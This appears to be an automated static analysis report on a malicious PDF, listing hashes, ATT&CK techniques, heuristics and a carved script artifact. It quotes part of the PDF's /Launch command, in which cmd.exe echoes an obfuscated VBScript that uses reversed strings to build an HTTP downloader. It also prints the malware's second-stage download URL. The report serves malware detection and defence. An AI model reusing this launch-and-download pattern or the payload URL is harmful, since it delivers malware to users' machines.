Malicious PDF — malware analysis report

Static analysis result for SHA-256 422ca45e0ba2d7c0…

MALICIOUS

PDF

785 B
MD5: 27a2509719fd6e72f71cf82edf1da594 SHA-1: b6a977627b07ce95bc1f81f0097f7a737a3a7f77 SHA-256: 422ca45e0ba2d7c04c858f8e9650e8fe22b3c758a380e67d440eac2e7c79afaf
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command-line interpreter is used to echo a VBScript payload, which is then likely executed by WScript.Shell. The VBScript payload is obfuscated but appears to use 'Scripting.FileSystemObject' and 'WScript.Shell' to write and execute a file, potentially downloading a second-stage payload from the embedded URL http://01.clovf.info/x/img.php?d=1. The confidence is high due to the direct evidence of exploit and payload execution.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://01.clovf.info/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes